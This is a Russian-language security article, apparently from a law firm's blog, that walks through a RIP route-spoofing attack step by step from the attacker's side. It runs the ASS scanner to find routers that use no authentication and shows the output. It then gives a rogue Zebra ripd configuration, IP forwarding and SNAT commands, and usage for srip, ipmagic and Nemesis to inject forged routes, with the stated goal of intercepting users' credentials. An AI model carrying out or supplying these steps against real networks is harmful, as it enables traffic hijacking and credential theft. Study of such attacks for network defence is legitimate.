Москва
+7-929-527-81-33
Вологда
+7-921-234-45-78
Вопрос юристу онлайн Юридическая компания ЛЕГАС Вконтакте

Ложные маршруты RIP.

Обновлено 20.09.2025 07:29

 

Петухов Олег, юрист в области международного права и защиты персональных данных, специалист в области информационной безопасности, защиты информации и персональных данных.

Телеграм-канал: https://t.me/zashchitainformacii

Группа в Телеграм: https://t.me/zashchitainformacii1

Сайт: https://legascom.ru

Электронная почта: online@legascom.ru

 

#защитаинформации #информационнаябезопасность

Протокол RIP для работы использует порт 520 и UDP. Маршрутизаторы «слушают» трафик на данном порту. Таким образом, любой пакет соответствующего формата будет принят и обработан маршрутизатором. В случае если аутентификация RIP не используется или пароль пуст, злоумышленник сможет передать данному маршрутизатору неверные данные о маршрутах, перенаправив таким образом сетевой трафик через подконтрольные взломщику узлы.

Первое, с чего злоумышленник должен начать свою атаку, - это определить маршрутизаторы, использующие протокол RIP. Это можно сделать несколькими способами.

1. Можно прослушать трафик с помощью сниффера. Каждые 30 секунд маршрутизаторы обмениваются маршрутной информацией. Также обмен производится при изменении топологии. Данную атаку мы уже реализовывали в предыдущих разделах, посвященных ARP-spoofing. Напомню лишь, что для ее реализации злоумышленнику необходимо самому находиться в локальной сети.

2. Также злоумышленник может просканировать сеть на наличие узлов с открытым портом 520 UDP.

3. Наилучшим, а зачастую и единственным возможным решением является использование специализированного пакетного анализатора, позволяющего перехватывать и анализировать именно обновления таблиц маршрутов.

Таким специализированным средством является утилита с незамысловатым названием ASS (autonomous system scanner). Данная утилита позволяет осуществлять как активный, так и пассивный поиск маршрутизаторов и протоколов маршрутизации. В процессе сканирования ASS работает в активном режиме, по окончании переходит в пассивный, который только прослушивает трафик. Эта утилита поддерживает не только RIP, но и другие протоколы маршрутизации, поэтому в дальнейшем мы будем к ней неоднократно возвращаться.

Вот пример работы в пассивном режиме:

root@kali : # ./ass -i eth0

ASS [Autonomous System Scanner] $Revision: 1.24 $

(c) 2k++ FX <fx@phenoelit.de>;

Phenoelit (http://www.phenoelit.de)

IRPAS build XXXIX

passive listen ... (hit Ctrl-C to finish)

>>>Results>>>

Router 192.168.66.101 (RIPv2 )

RIP2 [ n/a ] unknown auth

RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0

(tag 0, mtr 1)

Router 192.168.66.100 (RIPv2 )

RIP2 [ n/a ] unknown auth

RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

А так утилита работает в активном режиме:

root@kali : # ./ass -i eth0 -A -v

ASS [Autonomous System Scanner] $Revision: 1.24 $

(c) 2k++ FX <fx@phenoelit.de>;

Phenoelit (http://www.phenoelit.de)

IRPAS build XXXIX

Scanning

+ scanning IRDP ...

+ scanning RIv1 ...

+ scanning RIPv2 ...

+ scanning IGRP ...

+ waiting for EIGRP HELLOs (12s) ...

Continuing capture ... (hit Ctrl-C to finish)

>>>Results>>>

Router 192.168.66.100 (RIPv1 RIPv2 )

RIP1 [ n/a ] 0.0.0.0 (metric 1)

RIP1 [ n/a ] 192.168.0.1 (metric 1)

RIP1 [ n/a ] 192.168.66.9 (metric 1)

RIP1 [ n/a ] 192.168.66.105 (metric 1)

RIP2 [ n/a ] unknown auth

RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0

(tag 0, mtr 1)

Router 192.168.66.101 (RIPv2 )

RIP2 [ n/a ] unknown auth

RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100

(tag 0, mtr 1)

RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0

(tag 0, mtr 1)

В представленных выше примерах показан перехваченный обмен маршрутной информацией между двумя маршрутизаторами 192.168.66.100 и 192.168.66.101. Аутентификация не используется, в противном случае был бы указан метод, например md5.

В примере ниже router IP – это целевой роутер, трафик которого прослушивается, а с ключом –P указывается номер версии протокола RIP 1 или 2.

root@kali : # ass -v -i eth0 -D <router IP> -P <1 | 2>

Итак, мы успешно выявили маршрутизаторы, использующие протокол RIP, его версию, а также метод аутентификации. Теперь можно попробовать осуществить атаку. В простейшем случае можно перенаправить трафик через свой маршрутизатор с целью перехвата учетных данных пользователей. При этомне забываем про ограничение в 15 маршрутизаторов между любыми двумя узлами сети.

Для осуществления атаки необходимо прежде всего сконфигурировать свой поддельный маршрутизатор и затем обменяться с соседними маршрутизаторами информацией о маршрутах.

Для этого нужно выполнить соответствующие настройки в нашем маршрутизаторе. Вот пример конфигурационного файла, где используется протокол RIP версии 2 и один ключ аутентификации.

!

! Zebra configuration saved from vty

! 2005/08/12 23:44:33

!

hostname legitimate.ripd

password 8 p@ssw0rd>

enable password 8 Cb/yfFsI.abqs

service advanced-vty

service password-encryption

!

!

key chain dmz_auth

key 1

key-string secret_key

!

interface eth0

description DMZ_network

ip rip authentication mode md5 auth-length old-ripd

ip rip authentication key-chain dmz_auth

!

router rip

version 2

redistribute connected

network 192.168.20.0/24

!

line vty

exec-timeout 30 0

!

Далее необходимо настроить форвардинг трафика через свой хост. Сделать это можно следующим способом:

root@kali : # echo 1 > /proc/sys/net/ipv4/ip_forward

Следующим подготовительным действием будет настройка трансляции адресов с помощью Network Address Translation (NAT). Это необходимо для того, чтобы пакеты, направляющиеся к или от машины жертвы, достигали конечной точки назначения, проще говоря, не терялись.

root@kali : # iptables -t nat -A POSTROUTING -o eth0 -s victim_IP -j SNAT --to-source your_IP

Перед началом атаки необходимо точно установить, на какой именно маршрутизатор вы хотите отправить поддельное RIP-обновление маршрутной информации. Получателем должен быть unicast-адрес, а не multicast, так как в этом случае атаку значительно легче обнаружить.

На следующем шаге создаем запись о маршруте:

router rip

version 2

default-information originate

neighbor 192.168.20.103

route 192.168.66.9/32

Теперь трафик, идущий из сети 192.168.77.0/24 к машине 192.168.66.9, пойдет через маршрутизатор злоумышленника.

Теперь после аналогичного анонса сети 192.168.77.0/24 в таблицах маршрутизации RIP появятся новые маршруты. Правда, кратчайшим маршрутом по-прежнему является путь между двумя легальными маршрутизаторами. Однако если злоумышленник каким-либо образом (например, с помощью «затопления») сможет вывести из строя легальный канал, то весь трафик пойдет через поддельный маршрутизатор.

В завершение темы поддельных маршрутов рассмотрим еще несколько утилит для генерации RIP-обновлений на регулярной основе. Примером одной из таких утилит является srip:

root@kali : # srip <RIP version> -n <netmask> <malicious router IP>

<targeted RIP router IP> <destination host or network IP> <metric>

где <malicious router IP> – это машина, через которую планируется перенаправлять трафик, то есть хост злоумышленника; <destination host or network IP> – адрес, на который передаются данные; <metric> – обычно используется значение 1.

Для осуществления более тонкой настройки RIP-обновлений можно воспользоваться утилитой ipmagic из проекта IP Sorcery.

Вот пример всех опций данной утилиты:

root@kali : #./ipmagic

Usage: ./ipmagic [options]

IP: [-is|-id|-ih|-iv|-il|-it|-io|-id|-ip]

-is: source host or address def. 127.0.0.1

-id: source destination or address def. 127.0.0.1

-ih: IP header length def. 5

-iv: IP version def. 4

-il: Time-to-Live def. 64

-it: Type-of-Service def. 0

-io: IP frag offset [(D)on't Fragment|(M)ore Fragments|(F)ragment|(N)one]

-ii: IP packet ID for fragmentation def. 0

-ip: IP protocol [TCP|UDP|ICMP|IP] def. TCP -iO: IP options

<skip>

UDP: [-us|-ud|-ul]

-us: UDP source port def. rand()

-ud: UDP destination port def. 161

-ul: UDP length

RIP: [-uR|-uRc|-uRv]

-uR: Send default RIP packet to port 520

-uRc: RIP command [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA] def. RQ

For a list of RIP commands run program with -h rip

-uRv: RIP version [1|2] def. 2

Note: Entry Tables should be used with response packets[RS|TS|US]

-uRa(1|2|etc.): RIP Entry table Address exmp. -uRa1

-uRn(1|2|etc.): RIP Entry table Netmask, exmp. -uRn2

-uRh(1|2|etc.): RIP Entry table Next Hop, exmp. -uRn(num)

-uRm(1|2|etc.): RIP Entry table Metric

-uRr(1|2|etc.): RIP Entry table Route Tag

-uRe: Add default RIP Entry table to packet

root@kali : #./ipmagic -h rip

RIP Commands [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA]

RS: Response Packet

RQ: Request Packet

TN: Trace On

TF: Trace Off

SR: Sun Reserved

TQ: Triggered Request

TR: Triggered Response

TA: Triggered Acknowledgement

UQ: Update Request

UR: Update Response

UA: Update Acknowledgment

И наконец, еще одним полезным средством для осуществления атак на протокол маршрутизации RIP является Nemesis. Набор опций у данной утилиты также довольно богат.

root@kali : # nemesis rip help

RIP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

RIP usage:

rip [-v (verbose)] [options]

RIP options:

-c <RIP command>

-V <RIP version>

-r <RIP routing domain>

-a <RIP address family>

-R <RIP route tag>

-i <RIP route address>

-k <RIP network address mask>

-h <RIP next hop address>

-m <RIP metric>

-P <Payload file>

UDP options:

-x <Source port>

-y <Destination port>

IP options:

-S <Source IP address>

-D <Destination IP address>

-I <IP ID>

-T <IP TTL>

-t <IP TOS>

-F <IP fragmentation options>

-F[D],[M],[R],[offset]

-O <IP options file>

Data Link Options:

-d <Ethernet device name>

-H <Source MAC address>

-M <Destination MAC address>

Существенным недостатком описанных выше средств является то, что они не умеют отправлять RIP-пакеты с использованием аутентификации. Выходом может стать взлом аутентификации, но об этом мы поговорим чуть позже.